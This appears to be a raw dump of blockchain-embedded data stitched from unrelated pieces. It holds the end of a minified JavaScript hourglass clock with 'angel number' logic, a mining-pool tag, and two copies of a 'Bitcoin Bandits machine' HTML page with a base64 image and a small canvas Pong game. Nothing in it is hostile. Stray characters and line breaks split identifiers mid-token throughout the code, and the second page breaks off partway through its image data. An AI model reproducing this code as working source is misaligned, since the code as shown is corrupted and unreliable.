ayerHourglass,o,g),renSandTop.draw(layerSandTop,renHourglass.getTopLine(),1-l,!m,p),renSandBottom.draw(layerSandBottom,renHourglass.getBottomLine(),l,m,p),image(layerSandTop,...e[0],(layerSandTop.width-e[0][2])/2,0,e[0][2],e[0][3]),image(layerSandBottom,...e[1],(layerSandBottom.width-e[1][2])/2,0,e[1][2],e[1][3]),image(layerHourglass,0,0)}let u=renHourglass.getSecondTicked();GrainRenderer.applyGrainToMainCanvas(u),renPostProcessing.updateFilter(a,r,h),prevSpeed=a,renPostProcessing.applyToMainCanvas(),currentTime=i}M
,keyPressed=()=>{"+"!=key&&"="!=key||timeController.setFasterSpeed(),"-"==key&&timeController.setSlowerSpeed(),keyCode==LEFT_ARROW&&timeController.jumpBackward(),keyCode==RIGHT_ARROW&&timeController.jumpForward(),keyCode==ESCAPE&&timeController.resumeLive()," "==key&&timeController.togglePause(),"T"!=key&&"t"!=key||(showMode=(showMode+1)%3),"S"!=key&&"s"!=key||saveCanvasAtCurrentTime()},saveCanvasAtCurrentTime=()=>{let e=60*new Date(currentTime).getTimezoneOffset()*1e3,t=new Date(currentTime-e).toISOString().slice(M
0,-1);save(t+".png")};const EvolvePeriod={HOURLY:"HOURLY",DAILY:"DAILY",MONTHLY:"MONTHLY"},AngelNumber=[["11/111/1111",["1:1","1:11","11:1","11:11"],["1/1","11/1","1/11","11/11"]],["22/222/2222",["2:2","2:22","22:2","22:22"],["2/2","22/2"]],["33/333/3333",["3:3","3:33"],["3/3"]],["44/444/4444",["4:4","4:44"],["4/4"]],["55/555/555",["5:5","5:55"],["5/5"]],["66/666/6666",["6:6"],["6/6"]],["77/777/7777",["7:7"],["7/7"]],["88/888/8888",["8:8"],["8/8"]],["99/999/9999",["9:9"],["9/9"]],["1212",["12:12"],["12/12"]],["399/M
339",["3:39"],["3/3","9/3","3/9","9/9"]],["83/8833",["8:3"],["8/3","3/8"]],["72/7722",["7:2"],["7/2","2/7"]],["633/6363",["6:3","6:33"],["6/3","3/6"]],["588",["5:8","8:58"],["8/5","5/8","8/8"]],["446/4646",["4:6","4:46"],["4/4","6/4","4/6"]],["000",[],[]],["1010",["10:10"],["10/10"]],["1017",["10:17","17:10"],["17/10"]],["1022",["10:22","22:10"],["22/10"]],["1313",["13:13"],["1/3","3/1"]],["1444",["14:44"],["4/1","1/4","4/4"]],["2020",["20:20"],["2/2"]]],BlissLimit=[["Forever",-1,3],["2",2,40],["5",5,30],["10",10,2M
0],["20",20,7]];class TimeController{constructor(e){this.speeds=[-3600,-60,-10,-3,1,3,10,60,3600],this.defaultSpeedLevel=4,this.evolvePeriod=e.evolvePeriod,this.angelNumber=e.angelNumber,this.blissLimit=e.blissLimit,this.timestamp=Date.now(),this.prevRealTimestamp=this.timestamp,this.paused=!1,this.speedLevel=this.defaultSpeedLevel;let t=new Date(this.timestamp);this.iteration=this.getIteration(t),this.prevBliss=this.getPrevBliss(t,1),this.iterationChangeHandlers=[]}getCurrentIteration=()=>this.iteration;getIteratiM
on(e){let t,i=e.getTime()-60*e.getTimezoneOffset()*1e3;return this.evolvePeriod==EvolvePeriod.HOURLY?t=floor(i/36e5):this.evolvePeriod==EvolvePeriod.DAILY?t=floor(i/864e5):this.evolvePeriod==EvolvePeriod.MONTHLY&&(t=12*(e.getFullYear()-1970)+e.getMonth()),t}registerIterationChangeEvent(e){this.iterationChangeHandlers.push(e)}unregisterIterationChangeEvent(e){this.iterationChangeHandlers=this.iterationChangeHandlers.filter((t=>t!=e))}step(){let e=Date.now(),t=e-this.prevRealTimestamp,i=this.speeds[this.speedLevel],sM
=this.paused?0:i;this.timestamp+=t*s,this.timestamp=this.limitTimestamp(this.timestamp);let a=new Date(this.timestamp),r=this.getStateFromTime(a);this.updateIteration(a),this.prevRealTimestamp=e;let h=this.timestamp==e;return{time:a,state:r,speed:i,paused:this.paused,isLive:h,realDelta:t}}updateIteration(e){let t=this.getIteration(e);t!=this.iteration&&(this.iterationChangeHandlers.forEach((e=>e(t))),this.iteration=t)}getStateFromTime(e){let t,i,s=e.getHours(),a=e.getMinutes(),r=e.getDate(),h=e.getMonth()+1;if("000M
"==this.angelNumber)i=0==s&&0==a,t=i&&1==r&&1==h;else{let e=`${s}:${a}`,n=`${h}/${r}`,o=AngelNumber.filter((e=>e[0]==this.angelNumber))[0];i=o[1].includes(e),t=o[2].includes(n)}return i&&t?4:t?3:i?2:1}limitTimestamp(e){let t=BlissLimit.filter((e=>e[0]==this.blissLimit))[0][1],i=Date.now(),s=this.getPrevBliss(new Date,t);return e>i?(e=i,this.resetSpeed()):e<s&&(e=s,this.resetSpeed()),e}getPrevBliss(e,t){if(-1==t)return 0;let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i-=6e4;let e=this.getStateFrM
omTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}getNextBliss(e,t){if(-1==t)return Date.now();let i=e.getTime()-e.getMilliseconds()-1e3*e.getSeconds();for(;t>0;){i+=6e4;let e=this.getStateFromTime(new Date(i));2!=e&&4!=e||(t-=1)}return i}togglePause(){this.paused=!this.paused}setFasterSpeed(){this.speedLevel=min(this.speedLevel+1,this.speeds.length-1),this.paused=!1}setSlowerSpeed(){this.speedLevel=max(this.speedLevel-1,0),this.paused=!1}jumpForward(){let e=new Date(this.timestamp);this.timestamp=this.getNextBliss(eM
,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}jumpBackward(){let e=new Date(this.timestamp);this.timestamp=this.getPrevBliss(e,1),this.timestamp=this.limitTimestamp(this.timestamp),this.resetSpeed()}resetSpeed(){this.speedLevel=this.defaultSpeedLevel,this.paused=!1}resumeLive(){this.timestamp=Date.now(),this.resetSpeed()}}
c/Foundry USA Pool #dropgold/
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
JeIYkV95gt0Ks/S1f5b+rk089b3nx72ElFJKp1/68biXUEsHDRCUAg0QlIijJUVskT+Mv+r11YrfNTxwbfWD/qedr/+zZRS3cbchyjp10ABBKdAAQYk4BlDEEyl1fp+wlx0aVe8DWE0HDRCUAg0QlIhjAHk8UcQWvUQWVe+b1V0cQD0dNEBQOugBdLvYV/zS93qKznnjnZ2nfKWnnht8ccDE00EDBKVAAwQl4mgojyIOPLz+uXds3lSOn/3EiXJ8y0O3rzl+y0PdzwVmiw4aICgFGiAoEUcPVkYO2fG/OJMdv33NuSmLLeqiiqrjYg0gJR00QFgKNEBQIo4eiCeAcdBBAwSlQAMEpUADBKVAAwTlIiEwVEePHq08vmPP3hGvZH0R16mDBghKgQYIaqYijvyrypPHHu28sLQ0htWMx+GnT6w5tri4OIaVUCX/bxEtAmD0dNAAQSnQAEFdtmPP3rfHvQgA1tJBAwSlQAMEpUADBKVAAwSlQAMEpUADBKVAAwSlQAMEM
pUADBKVAAwSlQAMEpUADBKVAAwSlQAMEpUADBKVAAwSlQAMEpUADBKVAAwSlQAMEpUADBKVAAwSlQAMEpUADBKVAAwSlQAMEpUADBKVAAwSlQAMEpUADBPX/7+YV5TQ/fDAAAAAASUVORK5CYII=" class="background"><div class="game"><canvas width="750" height="585" id="gamecanvas"></canvas></div></div></body><script>const canvas=document.getElementById("gamecanvas");const context=canvas.getContext("2d");const grid=15;const paddleHeight=grid*5;const maxPaddleY=canvas.height-grid-paddleHeight;var paddleSpeed=6;var ballSpeed=5;const leftPaddle={x:grid*2,y:canvas.M
height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const rightPaddle={x:canvas.width-grid*3,y:canvas.height/2-paddleHeight/2,width:grid,height:paddleHeight,dy:0};const ball={x:canvas.width/2,y:canvas.height/2,width:grid,height:grid,l:false,dx:ballSpeed,dy:-ballSpeed};function collides(l,d){return l.x<d.x+d.width&&l.x+l.width>d.x&&l.y<d.y+d.height&&l.y+l.height>d.y}function loop(){requestAnimationFrame(loop);context.clearRect(0,0,canvas.width,canvas.height);leftPaddle.y+=leftPaddle.dy;rightPaddle.y+=rightPM
addle.dy;if(leftPaddle.y<grid){leftPaddle.y=grid}else if(leftPaddle.y>maxPaddleY){leftPaddle.y=maxPaddleY}if(rightPaddle.y<grid){rightPaddle.y=grid}else if(rightPaddle.y>maxPaddleY){rightPaddle.y=maxPaddleY}context.fillStyle="white";context.fillRect(leftPaddle.x,leftPaddle.y,leftPaddle.width,leftPaddle.height);context.fillRect(rightPaddle.x,rightPaddle.y,rightPaddle.width,rightPaddle.height);ball.x+=ball.dx;ball.y+=ball.dy;if(ball.y<grid){ball.y=grid;ball.dy*=-1}else if(ball.y+grid>canvas.height-grid){ball.y=canvasM
.height-grid*2;ball.dy*=-1}if((ball.x<0||ball.x>canvas.width)&&!ball.l){ball.l=true;setTimeout(()=>{ball.l=false;ball.x=canvas.width/2;ball.y=canvas.height/2},400)}if(collides(ball,leftPaddle)){ball.dx*=-1;ball.x=leftPaddle.x+leftPaddle.width}else if(collides(ball,rightPaddle)){ball.dx*=-1;ball.x=rightPaddle.x-ball.width}context.fillRect(ball.x,ball.y,ball.width,ball.height);context.fillStyle="lightgrey";context.fillRect(0,0,canvas.width,grid);context.fillRect(0,canvas.height-grid,canvas.width,canvas.height);for(leM
t l=grid;l<canvas.height-grid;l+=grid*2){context.fillRect(canvas.width/2-grid/2,l,grid,grid)}}document.addEventListener("keydown",function(l){if(l.which===38){rightPaddle.dy=-paddleSpeed}else if(l.which===40){rightPaddle.dy=paddleSpeed}if(l.which===87){leftPaddle.dy=-paddleSpeed}else if(l.which===83){leftPaddle.dy=paddleSpeed}});document.addEventListener("keyup",function(l){if(l.which===38||l.which===40){rightPaddle.dy=0}if(l.which===83||l.which===87){leftPaddle.dy=0}});requestAnimationFrame(loop);</script></html>h!
text/html;charset=utf-8
<html lang="en"><head><meta charset="UTF-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content=""><title>Bitcoin Bandits machine</title><style>html{height:100%;background:#3b474e}body{height:100%;width:100%;margin:0;display:flex;flex-direction:column;align-items:center}.container{height:100%;position:relative}.background{height:100%}.game{height:20.3vh;width:20.3vh;border:#3b474e;border-width:1px;margin-left:auto;margin-right:auto;left:0;right:0;margin-top:22.7vh;top:0;position:absolM
ute}#gamecanvas{height:100%;width:100%}</style></head><body><div class="container"><img src="data:image/png;base64, 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
